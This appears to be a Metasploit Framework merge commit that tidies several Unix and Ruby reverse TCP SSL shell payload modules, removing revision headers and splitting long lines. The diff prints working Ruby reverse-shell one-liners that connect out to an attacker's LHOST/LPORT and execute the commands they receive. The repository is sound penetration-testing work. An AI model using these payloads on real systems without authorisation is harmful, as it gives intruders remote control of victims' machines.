Merge branch 'msftidy_ssl_shells' of https://github.com/sempervictus/metasploit-framework into sempervictus-msftidy_ssl_shells
commit
c5e61f1e9d
|
@ -1,7 +1,3 @@
|
||||||
##
|
|
||||||
# $Id$
|
|
||||||
##
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
@ -22,11 +18,10 @@ module Metasploit3
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)',
|
'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
Creates an interactive shell via mknod and telnet.
|
Creates an interactive shell via mknod and telnet.
|
||||||
This method works on Debian and other systems compiled
|
This method works on Debian and other systems compiled
|
||||||
without /dev/tcp support. This module uses the '-z'
|
without /dev/tcp support. This module uses the '-z'
|
||||||
option included on some systems to encrypt using SSL.
|
option included on some systems to encrypt using SSL.
|
||||||
},
|
},
|
||||||
'Author' => 'RageLtMan',
|
'Author' => 'RageLtMan',
|
||||||
|
|
|
@ -1,7 +1,3 @@
|
||||||
##
|
|
||||||
# $Id$
|
|
||||||
##
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
@ -22,7 +18,6 @@ module Metasploit3
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)',
|
'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Creates an interactive shell via perl, uses SSL',
|
'Description' => 'Creates an interactive shell via perl, uses SSL',
|
||||||
'Author' => 'RageLtMan',
|
'Author' => 'RageLtMan',
|
||||||
'License' => BSD_LICENSE,
|
'License' => BSD_LICENSE,
|
||||||
|
|
|
@ -1,7 +1,3 @@
|
||||||
##
|
|
||||||
# $Id$
|
|
||||||
##
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
@ -22,7 +18,6 @@ module Metasploit3
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (via php)',
|
'Name' => 'Unix Command Shell, Reverse TCP SSL (via php)',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Creates an interactive shell via php, uses SSL',
|
'Description' => 'Creates an interactive shell via php, uses SSL',
|
||||||
'Author' => 'RageLtMan',
|
'Author' => 'RageLtMan',
|
||||||
'License' => BSD_LICENSE,
|
'License' => BSD_LICENSE,
|
||||||
|
|
|
@ -1,7 +1,3 @@
|
||||||
##
|
|
||||||
# $Id$
|
|
||||||
##
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
@ -22,7 +18,6 @@ module Metasploit3
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
|
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
|
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
|
||||||
'Author' => 'RageLtMan',
|
'Author' => 'RageLtMan',
|
||||||
'License' => BSD_LICENSE,
|
'License' => BSD_LICENSE,
|
||||||
|
|
|
@ -1,7 +1,3 @@
|
||||||
##
|
|
||||||
# $Id$
|
|
||||||
##
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
@ -22,7 +18,6 @@ module Metasploit3
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (via Ruby)',
|
'Name' => 'Unix Command Shell, Reverse TCP SSL (via Ruby)',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Connect back and create a command shell via Ruby, uses SSL',
|
'Description' => 'Connect back and create a command shell via Ruby, uses SSL',
|
||||||
'Author' => 'RageLtMan',
|
'Author' => 'RageLtMan',
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
@ -44,6 +39,9 @@ module Metasploit3
|
||||||
def command_string
|
def command_string
|
||||||
lhost = datastore['LHOST']
|
lhost = datastore['LHOST']
|
||||||
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
||||||
"ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'"
|
res = "ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new"
|
||||||
|
res << "(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while"
|
||||||
|
res << "(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'"
|
||||||
|
return res
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,7 +1,3 @@
|
||||||
##
|
|
||||||
# $Id$
|
|
||||||
##
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
@ -21,8 +17,7 @@ module Metasploit3
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Unix Command Shell, Double reverse TCP SSL (telnet)',
|
'Name' => 'Unix Command Shell, Double Reverse TCP SSL (telnet)',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option',
|
'Description' => 'Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option',
|
||||||
'Author' => [
|
'Author' => [
|
||||||
'hdm', # Original module
|
'hdm', # Original module
|
||||||
|
|
|
@ -1,7 +1,3 @@
|
||||||
##
|
|
||||||
# $Id$
|
|
||||||
##
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
@ -22,7 +18,6 @@ module Metasploit3
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
|
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
|
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
|
||||||
'Author' => 'RageLtMan',
|
'Author' => 'RageLtMan',
|
||||||
'License' => BSD_LICENSE,
|
'License' => BSD_LICENSE,
|
||||||
|
|
|
@ -1,7 +1,3 @@
|
||||||
##
|
|
||||||
# $Id$
|
|
||||||
##
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
@ -24,7 +20,6 @@ module Metasploit3
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(merge_info(info,
|
super(merge_info(info,
|
||||||
'Name' => 'Ruby Command Shell, Reverse TCP SSL',
|
'Name' => 'Ruby Command Shell, Reverse TCP SSL',
|
||||||
'Version' => '$Revision$',
|
|
||||||
'Description' => 'Connect back and create a command shell via Ruby, uses SSL',
|
'Description' => 'Connect back and create a command shell via Ruby, uses SSL',
|
||||||
'Author' => 'RageLtMan',
|
'Author' => 'RageLtMan',
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
@ -46,7 +41,8 @@ module Metasploit3
|
||||||
def ruby_string
|
def ruby_string
|
||||||
lhost = datastore['LHOST']
|
lhost = datastore['LHOST']
|
||||||
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
||||||
rbs = "require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end"
|
rbs = "require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\","
|
||||||
|
rbs << "\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end"
|
||||||
return rbs
|
return rbs
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue